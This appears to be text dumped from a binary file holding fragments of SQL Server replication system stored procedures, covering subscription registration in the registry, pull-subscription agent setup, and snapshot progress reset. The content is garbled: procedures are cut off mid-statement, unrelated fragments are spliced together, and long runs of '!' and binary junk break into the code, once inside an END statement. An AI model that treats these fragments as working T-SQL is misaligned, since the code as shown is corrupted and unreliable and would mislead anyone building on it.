                exec (@testStr)
            END TRY
            BEGIN CATCH
                declare @number int
                        ,@sev int
                        ,@state int
                        ,@msg nvarchar(max)
                select @number = ERROR_NUMBER(), @sev = ERROR_SEVERITY(), @state = ERROR_STATE(), @msg = ERROR_MESSAGE()
                raiserror(14166, 11, 1, @number, @sev, @state, @msg)
                goto IGNORE
            END CATCH
        end
        EXEC @retcode = @proc @value = @value,
                                @ignore_distributor = @ignore_distributor
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            GOTO UNDO
        END
    end

IGNORE:
    -- Consider: Lock database using EXEC %%CurrentDatabase().Lock()??
    -- rmak: Doesn't seem necessary nor is the right thing to do as
    -- %%CurrentDatabase().Lock locks only the current database (master)
    /*
    ** Preparation succeeded. 
    ** Toggle the category bit in master.dbo.sysdatabases
    */
    IF @optname = N'publish'
    BEGIN
        -- clear dbtable fields
        -- no check for IsPublished here, as it is taken care of above
        if @value_bit = 0
			AND CONVERT(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = N'READ_WRITE'
			AND HAS_DBACCESS(@dbname) = 1
			--if cdc is still enabled, don't call sp_repldone
			AND not exists(select * from sys.databases where db_id(@dbname) = database_id and is_cdc_enabled = 1)
        BEGIN
            SELECT @flush_proc = QUOTENAME(@dbname) + N'.sys.sp_replflush'
            SELECT @done_proc  = QUOTENAME(@dbname) + N'.sys.sp_repldone'
        
            exec @flush_proc
            exec @done_proc NULL, NULL, 0, 0, 1
            exec @flush_proc
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<u3k1OEND
        EXEC %%DatabaseEx(Name = @dbname).SetPublished(Value = @value_bit)
    END    
    ELSE IF @optname = N'merge publish'
        EXEC %%DatabaseEx(Name = @dbname).SetMergePublished(Value = @value_bit)
    ELSE IF @optname = N'subscribe'
        EXEC %%DatabaseEx(Name = @dbname).SetSubscribed(Value = @value_bit)
    ELSE IF @optname = N'sync with backup'
        EXEC %%DatabaseEx(Name = @dbname).SetSyncWithBackup(Value = @value_bit)

    IF ((@optname = N'merge publish') or (@optname = N'publish')) 
    begin
        if (convert(sysname,DATABASEPROPERTYEX(@dbname,'status'))  = N'ONLINE')
        begin 
			-- sysreplservers needs to be refreshed when:
			-- 1. 'publish' or 'merge publish' is being set to true
			-- 2. 'publish' or 'merge publish' is being set to false and db is no longer published for either
			if(@value_bit = 1 
			or (@value_bit = 0 
					and(DatabasePropertyEx(@dbname, 'IsPublished') = 0)
					and (DatabasePropertyEx(@dbname, 'IsMergePublished') = 0)))
			begin
				SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_refreshreplsysservers'
				EXEC @retcode = @proc 
				IF @@ERROR <> 0 or @retcode <> 0
				    GOTO UNDO
			end
        end
    end

    if @optname = N'merge publish'
    begin
        if @value = N'true'
        begin            
            -- Set the 'startup' option for sp_MScleanupmergepublisher if the
            -- database is enabled for merge replication.  
            exec (N'use master
                    exec sys.sp_procoption N''sp_MScleanupmergepublisher'', N''startup'', N''true''')
        end
        else
        begin
            -- Reset the 'startup' option for sp_MScleanupmergepublisher if
            -- this is the last database that has its 'merge publish' option 
            -- disabled
            select @num_mergedb = count(*) from master.dbo.sysdatabases 
             where (category & 4) <> 0
            if @num_mergedb = 0
            begin
                exec (N'use master
                    exec sys.sp_procoption N''sp_MScleanupmergepublisher'', N''startup'', N''false''')
            end
        end
    end

    IF ((@optname = N'merge publish') or (@optname = N'publish')) and (@value = N'true')
    BEGIN
        -- Add expired subscription cleanup job and alerts
        EXEC @retcode = sys.sp_MSrepl_add_expired_sub_cleanup_job

        IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO
    END

    IF ((@optname = N'merge publish') or (@optname = N'publish')) and (@value = N'false')
    BEGIN
        -- Drop expired subscription cleanup job and alerts
        EXEC @retcode = sys.sp_MSrepl_drop_expired_sub_cleanup_job
        IF (@@ERROR != 0 OR @retcode != 0)
        	RETURN (1)
    END

	-- drop symetric keys if the database is online
	-- note that here on a failure we will throw an error
    IF CONVERT(sysname, DATABASEPROPERTYEX(@dbname,'status')) = N'ONLINE'
	BEGIN
	  	SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_dropreplsymmetrickey'
	  	
		EXEC @retcode = @proc @check_replication = 1, @throw_error = 1
		IF (@@ERROR != 0 OR @retcode != 0)
        	RETURN (1)
	END
	
    /*
    **    ??? 
    ** CHECKPOINT the database that was changed. Make the change
    ** effective immediatly
    */
    CHECKPOINT
    IF @@ERROR <> 0 
    BEGIN
        RETURN(1)
    END

     IF @optname = N'publish' and @value_bit = 0 and not exists(select * from sys.databases where db_id(@dbname) = database_id and is_cdc_enabled = 1)
     BEGIN
	SELECT @clearcache_proc = QUOTENAME(@dbname) + N'.sys.sp_replhelp'
	EXEC @clearcache_proc N'ClearDbArticleCache' --clear article cache for this database
	EXEC @clearcache_proc N'DisablePerDbHistoryCache' --clear DMV cache for this database
     END 

    
    RETURN(0)

UNDO:
    -- Create system table is not allowed in a multi-statement transactions.
    -- Drop the tables here
    IF @value = N'true'
        EXEC sys.sp_replicationdboption 
          @dbname     = @dbname,
          @optname     = @optname,
          @value     = N'false',
          @ignore_distributor = @ignore_distributor

    return(1)    
MM_ftp',
                @value = 'false'
            
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

        EXEC @retcode = sys.sp_change_subscription_properties
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @property = 'alt_snapshot_folder',
                @value = NULL
            
        IF @@error <> 0 OR @retcode <> 0
            GOTO Failure

    END

    IF @@error <> 0 OR @retcode <> 0
        GOTO Failure

    COMMIT TRANSACTION subscription_properties
    RETURN (0)
            
Failure:        
    ROLLBACK TRANSACTION subscription_properties
    RETURN (1)
END
y2y2
        goto err_clean

    select @cmd = 'alter table '+ @qualname + ' with NOCHECK add CONSTRAINT ' + quotename(@constraintname) + ' check NOT FOR REPLICATION ( ' + @qualcolname + ' > ' 
            + @min_str + ' and ' + @qualcolname + ' < ' + @max_str + ')'
	exec(@cmd)
    if @@ERROR<>0
        goto err_clean
    goto success_clean

success_clean:
    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
    return 0

err_clean:
    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
    return 1
end
r=r=            ,publisherlinkuser = null
                where upper(publisher) = @publisher
                    and publisher_db =  @publisher_db
                    and publication = @publication
                if (@@error <> 0)
                    return (1)
            end -- if (@publisherlink is not null)
        end -- @reserved != @modedropall
    end -- if object_id('MSsubscription_properties') is not null
    --
    -- all done
    --
    return 0
end
sse,@min_indid) WITH COUNT_ROWS, NO_INFOMSGS
            end
        end
    end
    
ALL_DONE:

    -- Msg for rows and checksum:
    -- TEMPORARY:   Remove rowcount string & change message if/when RAISERROR can handle bigint directly.
    -- Give nice message if only generating the expected value:
    select @rowcount_string = convert(varchar(21),@expected_rowcount)
    if (@asked_for_exp_rows=1)
    begin
        if (@asked_for_exp_checksum=1)
        begin
            select @expected_checksum_string = convert(varchar(21), @expected_checksum)
            -- (20579,10,0,'Generated expected rowcount value of %s and expected checksum value of %s for %s.', 1033)
            raiserror (20579, 10, -1,@rowcount_string,@expected_checksum_string,@table_name)
        end
        else if (@asked_for_exp_checksum=0)
        begin
            -- Msg (20561,10,0,'Generated expected rowcount value of %s for %s.', 1033)
            raiserror (20561, 10, -1,@rowcount_string, @table_name)
        end
    end

    -- Raise error that will shutdown replication agents
    if @shutdown_agent = 1
    begin
        --Msg 20578: 'Shutdown replication agent request.'
        raiserror (20578, 10, -1)
    end

    return @retstatus

ROLLBACK_SHARELOCK:
    ROLLBACK TRANSACTION tmpsharelock_validation
    COMMIT TRANSACTION

    -- Encountered server error 1 while executing <sp_table_validation>.
    RAISERROR(21542, 16, -1, @error_id, 'sp_table_validation')
    RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(

_v'f
--
-- Name: sp_MSregistersubscription
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSregistersubscription (
    @replication_type            int, /* Transactional = 1, Merge = 2 */
    @publisher                     sysname,
    @publisher_db                 sysname,
    @publisher_security_mode    int = NULL,                        /* 0 standard; 1 integrated */
    @publisher_login            sysname = NULL,
    @publisher_password    nvarchar(524) = NULL,
    @publication                 sysname,         
    @subscriber                 sysname,
    @subscriber_db                 sysname,
    @subscriber_security_mode    int = NULL,                        /* 0 standard; 1 integrated */
    @subscriber_login            sysname = NULL,
    @subscriber_password        nvarchar(524) = NULL,
    @distributor                 sysname,
    @distributor_security_mode     int = NULL,
    @distributor_login             sysname = NULL,
    @distributor_password        nvarchar(524) = NULL,
    @subscription_id            uniqueidentifier ,
    @independent_agent            int = NULL,
    @subscription_type            int,
    @use_interactive_resolver    int = NULL,
    @failover_mode                int = NULL,
    @use_web_sync                bit = 0,
    @hostname                    sysname    = NULL
    ) AS

    SET NOCOUNT ON

    /* MobileSync Support */
    declare @regkey                            nvarchar(1000)
    declare @subidstr                        nvarchar(38)
    declare @profile_name                     nvarchar(100)
    declare @retcode                        int

    select @retcode = 0
    -- Security check: Sysadmin and DBO only
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end

    set @regkey = sys.fn_replgetsubscriptionregkey(@publisher, @publisher_db, @publication, @subscriber, @subscriber_db)
    set @subidstr = '{' + convert ( nchar(36), @subscription_id) + '}'
    set @profile_name = N'Windows Synchronization Manager profile' -- SyncMgr Profile

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'ProfileName',
                               'REG_SZ',
                                @profile_name    
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'ReplicationType',
                               'REG_DWORD',
                                @replication_type    
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'SubscriptionType',
                               'REG_DWORD',
                                @subscription_type    
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'Subid',
                               'REG_SZ',
                                @subidstr    
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'Publisher',
                               'REG_SZ',
                                @publisher                                        
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'PublisherDb',
                               'REG_SZ',
                                @publisher_db
    if @retcode <> 0 OR @@ERROR <> 0
        return 1


    IF @use_interactive_resolver IS NOT NULL
    BEGIN
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'UseInteractiveResolver',
                               'REG_DWORD',
                                @use_interactive_resolver
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    END

    /* If Publisher security mode is NOT NULL, write out the entries */
    if @publisher_security_mode IS NOT NULL
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                                   @regkey,
                                   'PublisherSecurityMode',
                                   'REG_DWORD',
                                    @publisher_security_mode
        if @retcode <> 0 OR @@ERROR <> 0
            return 1

        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                                   @regkey,
                                   'PublisherLogin',
                                   'REG_SZ',
                                    @publisher_login                                    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1

    end
    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'Publication',
                               'REG_SZ',
                                @publication
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'Subscriber',
                               'REG_SZ',
                                @subscriber
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    /* If Subscriber security mode is NOT NULL, write out the entries */
    if @subscriber_security_mode IS NOT NULL
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'SubscriberSecurityMode',
                           'REG_DWORD',
                            @subscriber_security_mode
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
            
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'SubscriberLogin',
                           'REG_SZ',
                            @subscriber_login                                    
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
    end

    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'SubscriberDb',
                               'REG_SZ',
                                @subscriber_db                                    
    if @retcode <> 0 OR @@ERROR <> 0
        return 1
                
    EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @regkey,
                               'Distributor',
                               'REG_SZ',
                                @distributor
    if @retcode <> 0 OR @@ERROR <> 0
        return 1

    /* If Distributor security mode is NOT NULL, write out the entries */
    if @distributor_security_mode IS NOT NULL
    begin
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @regkey,
                           'DistributorSecurityMode',
                           'REG_DWORD',
                            @distributor_security_mode
        if @retcode <> 0 OR @@ERROR <> 0
            return 1
            
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C
ϯv[
--
-- Name: sp_addpullsubscription_agent
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_addpullsubscription_agent
(
    @publisher                        sysname,
    @publisher_db                   sysname = NULL,
    @publication                    sysname,
    @subscriber                        sysname = NULL,
    @subscriber_db                  sysname = NULL,
    @subscriber_security_mode       int = NULL,                -- 0 standard; 1 integrated
    @subscriber_login               sysname = NULL,
    @subscriber_password            sysname = NULL,
    @distributor                    sysname = @publisher,
    @distribution_db                sysname = NULL,
    @distributor_security_mode        int = 1,
    @distributor_login                sysname = NULL,
    @distributor_password            sysname = NULL,
    @optional_command_line            nvarchar(4000) = '',
    @frequency_type                 int = 2,                -- 2 == OnDemand
    @frequency_interval                int = 1, 
    @frequency_relative_interval    int = 1, 
    @frequency_recurrence_factor    int = 1, 
    @frequency_subday                int = 1, 
    @frequency_subday_interval        int = 1,
    @active_start_time_of_day        int = 0, 
    @active_end_time_of_day            int = 0,         
    @active_start_date                int = 0, 
    @active_end_date                int = 0,
    @distribution_jobid                binary(16) = NULL OUTPUT,
    @encrypted_distributor_password    bit = 0,
    @enabled_for_syncmgr            nvarchar(5) = 'false',    -- Enabled for SYNCMGR: true or false
    @ftp_address                    sysname = NULL,
    @ftp_port                        int = NULL,
    @ftp_login                        sysname = NULL,
    @ftp_password                   sysname = NULL,
    @alt_snapshot_folder            nvarchar(255) = NULL,
    @working_directory                nvarchar(255) = NULL,
    @use_ftp                        nvarchar(5) = 'false',
    @publication_type                tinyint = 0,            -- 0 - Transactional, 1 - Snapshot, 2 - Merge
    @dts_package_name                sysname = NULL,            -- value will be sent and validated at distributor
    @dts_package_password            sysname = NULL,
    @dts_package_location            nvarchar(12) = N'subscriber',
    @reserved                        nvarchar(100) = N'',    -- Not default to null because null problems in conditional expressions.
    @offloadagent                    nvarchar(5) = 'false',
    @offloadserver                    sysname = NULL,
    @job_name                        sysname = NULL,
    -- used for jobstep level proxy accounts
    @job_login                         nvarchar(257) = NULL,
    @job_password                     sysname = NULL
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @command                    nvarchar(4000)
                ,@retcode                    int
                ,@subscription_type_id       int                    -- 1 = pull, 2 = anonymous
                ,@independent_agent_id       bit
                ,@distribution_agent         nvarchar(100) 
                ,@category_name              sysname
                ,@platform_nt                binary
                ,@subscriber_enc_password    nvarchar(524)
                ,@distributor_enc_password   nvarchar(524)
                ,@use_ftp_bit                bit
                ,@distribution_job_step_uid  uniqueidentifier
                ,@edition_id int

    select @platform_nt = 0x1
            ,@distribution_job_step_uid = NULL
            ,@edition_id = sys.fn_MSrepl_editionid ()

    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    
    /*
    ** Initializations.
    */

    -- Set null @optional_command_line to empty string to avoid string concat problem
    if @optional_command_line is null
        set @optional_command_line = ''
    else
        set @optional_command_line = N' ' + LTRIM( RTRIM(@optional_command_line) ) + N' '


    IF @distributor_password = N''
        select @distributor_password = NULL

    IF @ftp_password = N''
        select @ftp_password = NULL

    IF @dts_package_password = N''
        select @dts_package_password = NULL

    -- @dts_package_password cannot be non-null if @dts_package_name is not set
    if (@dts_package_name is null or rtrim(@dts_package_name) = N'') and
        @dts_package_password is not null
    begin
        raiserror(18780, 16, -1)
        return (1)
    end
    
    IF RTRIM(ISNULL(@dts_package_name, N'')) != N''
        AND RTRIM(ISNULL(@dts_package_password, N'')) = N''
    BEGIN
        -- Use of DTS packages in replication requires a non-NULL/non-empty string password. Specify a valid value for parameter '%s'.
        RAISERROR(21732,16, -1, '@dts_package_password')
        RETURN (1)
    END

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is define
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_addpullsubscription_agent')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publisher

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

	-- ensure that the distributor is set to a value... 
	-- we will default to publisher since this is sp default
	SELECT @distributor = ISNULL(@distributor, @publisher)
	
    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    IF @publisher_db IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher_db
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END
    ELSE
    BEGIN
        -- @publisher_db is NULL for Oracle publishers only
        SET @publisher_db = @publisher
    END

    /*
    ** Parameter Check: @publication
    ** 
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_addpullsubscription_agent')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    /*
    ** Parameter Check: @subscriber and @subscriber_db
    */

    IF @subscriber IS NOT NULL 
        OR @subscriber_db IS NOT NULL
    BEGIN
        -- The @subscriber and @subscriber_db parameter(s) have been deprecated and should no longer be used. See the 'sp_addpullsubscription_agent' documentation for more information.
        RAISERROR(21827, 10, -1, '@subscriber and @subscriber_db', 'sp_addpullsubscription_agent')
    END
    
    SELECT @subscriber = @@SERVERNAME,
            @subscriber_db = DB_NAME()
    
    EXECUTE @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
    
    EXECUTE @retcode = sys.sp_validname @subscriber_db
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
    
    /* 
    ** Check to see if MSreplictaion_subscriptions table exists.
    ** If so, copy it into the temp table
    */
    IF object_id('MSreplication_subscriptions', 'U') is NULL
    BEGIN
        RAISERROR (20017, 16, -1)
        RETURN (1)
    END 
    
    /*
    ** Check to make sure that the subscription does exist
    */
    IF NOT EXISTS (SELECT * FROM  MSreplication_subscriptions
                WHERE UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db  = @publisher_db AND
                      publication = @publication)
    BEGIN
        RAISERROR (20017, 16, -1)
        RETURN (1)
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,d0M@ 8--
-- Name: sp_resetsnapshotdeliveryprogress
--
-- Description: This procedure removes all rows (if @drop_table = 'false')
--              in the MSsnapshotdeliveryprogress table (if it exists). This 
--              will effectively wipes out all memory of any previous 
--              progress that any snapshot delivery processes had made to
--              the subscriber database.
--
-- Notes: 1) This procedure should be called at the subscriber database.
--        2) This procedure will try to acquire the 
--           'snapshot_delivery_in_progress_<dbname>' application lock in
--           exclusive mode prior to truncating (or drop) 
--           the MSsnapshotdeliveryprogress table. It will raise an error if 
--           it cannot acquire the lock in 5 seconds and the specified 
--           @verbose_level >= 1.
--
-- Parameter: @verbose_level int (optional, default 1)
--            @drop_table nvarchar(5) (optional, default N'false')
--                - specifies whether to drop the progress table or just 
--                  truncate the table
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_resetsnapshotdeliveryprogress
    @verbose_level int = 1,
    @drop_table nvarchar(5) = N'false'
as
begin
    set nocount on
    declare @retcode int
    declare @lock_acquired int
    declare @lock_resource nvarchar(255)
    declare @cursor_allocated bit
    declare @cursor_opened bit
    declare @pubidprefix nvarchar(100)    
    declare @pubid uniqueidentifier

    select @retcode = 0
    select @lock_acquired = 0
    select @lock_resource = N'snapshot_delivery_in_progress_' + 
                            db_name() collate database_default  
    select @cursor_allocated = 0
    select @cursor_opened = 0
    select @pubidprefix = N'<MergePubId>:'

    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    -- Parameter validation
    select @drop_table = lower(@drop_table collate SQL_Latin1_General_CP1_CS_AS)
    if @drop_table not in (N'true', N'false')
    begin
        raiserror (14148, 16,-1, '@drop_table')
        select @retcode = 1
        goto Failure
    end

    -- Wiping out the content of the MSsnapshotdeliveryprogress table
    -- can disrupt snapshots that are being applied to this subscription
    -- database. Try to acquire the snapshot-delivery-in-progress application 
    -- lock in exclusive mode prior to wiping out the table. Note that the
    -- the distribution/merge agent will acquire the same application lock in 
    -- shared mode while a snapshot is being applied. Don't try to wait
    -- for the lock for too long as other snapshot delivery processes may be
    -- blocked by our waiting. In effect, we are saying that it is OK to 
    -- starve the process that is trying to truncate the progress table.    
    
    exec @retcode = sys.sp_getapplock @Resource = @lock_resource,
                                             @LockMode = N'Exclusive',
                                             @LockOwner = N'Session',
                                             @LockTimeout = 5000, -- 5 seconds
                                             @DbPrincipal = N'db_owner'

    if @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    if @retcode < 0
    begin
        if @retcode = -1 and @verbose_level >= 1
        begin
            raiserror(21514,16,-1)
            select @retcode = 1
        end
        else
        begin  
            select @retcode = 0
        end
        goto Failure
    end

    select @retcode = 0, @lock_acquired = 1

    if object_id('dbo.MSsnapshotdeliveryprogress') is not null
    begin
        -- Eliminating merge snapshot progress requires additional cleanup in
        -- the merge meta-data tables so do it separately
        declare hpubid cursor local fast_forward for 
            select convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@pubidprefix)))
              from dbo.MSsnapshotdeliveryprogress
             where left(progress_token, len(@pubidprefix)) = @pubidprefix

        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 1    

        open hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 1    
        
        fetch hpubid into @pubid
        while (@@fetch_status <> -1)
        begin

            exec @retcode = sys.sp_MSpurgepartialmergesnapshot
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            fetch hpubid into @pubid
        end

        close hpubid 
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 0
   
        deallocate hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 0

        if @drop_table = N'false'
        begin
            truncate table dbo.MSsnapshotdeliveryprogress
            if @@error <> 0
            begin
                select @retcode = 1
                goto Failure
            end
        end
        else
        begin
            drop table dbo.MSsnapshotdeliveryprogress 
            if @@error <> 0
            begin
                select @retcode = 1
                goto Failure
            end
        end 
    end
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

Failure:
    if @cursor_opened = 1
    begin
        close hpubid
    end
    
    if @cursor_allocated = 1
    begin
        deallocate hpubid
    end

    if @lock_acquired = 1
    begin
        exec @retcode = sys.sp_releaseapplock @Resource = @lock_resource, 
                                                     @LockOwner = N'Session',
                                                     @DbPrincipal = N'db_owner'
        if @@error <> 0 or @retcode < 0
        begin
           select @retcode = 1
        end
    end
    return @retcode    
end
0 D8P,hz2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`<]&b0 D8P,hz20a@ 8
create procedure sys.sp_MSenumtranpublications
(
    @publication sysname = NULL,
    @category int,
    @empty_tranpub bit = 0
)
as
BEGIN
    set nocount on

    --
    -- This SP depends on the pre-creation 
    -- of the temp table #MSenumpublications
    --
    
    -- Determine if distribution db or publisher db
    if (@category & 16 = 16)
    begin
        -- Get matching HREPL publications
        insert into #MSenumpublications
        SELECT ss.srvname,
                ihp.name,
                1,
                ihp.immediate_sync,
                ihp.allow_pull,
                ihp.allow_anonymous, 
                ihp.enabled_for_internet,
                ihp.repl_freq,
                ihp.immediate_sync_ready, 
                ihp.allow_sync_tran,
                ihp.independent_agent,
                is_member('db_owner'),
                0,                                -- thirdparty
                ss.srvproduct,
                ss.srvname,
                msdp.publisher_type,
                ihp.description,
                db_name(),
                ihp.allow_queued_tran,
                ihp.allow_dts,
                convert(int,null),                -- thirdparty_options
                ihp.queue_type,
                0                                -- dynamic_filters
        from dbo.IHpublications as ihp
            join dbo.MSpublications as msp on ihp.pubid = msp.publication_id
            join master.dbo.sysservers as ss on msp.publisher_id = ss.srvid
            join msdb.dbo.MSdistpublishers as msdp on ss.srvname = msdp.name
        where (@empty_tranpub = 1 or exists
            (
                select    *
                from    dbo.sysextendedarticlesview art
                where    ihp.pubid = art.pubid
            ))
          and ihp.status <> 0
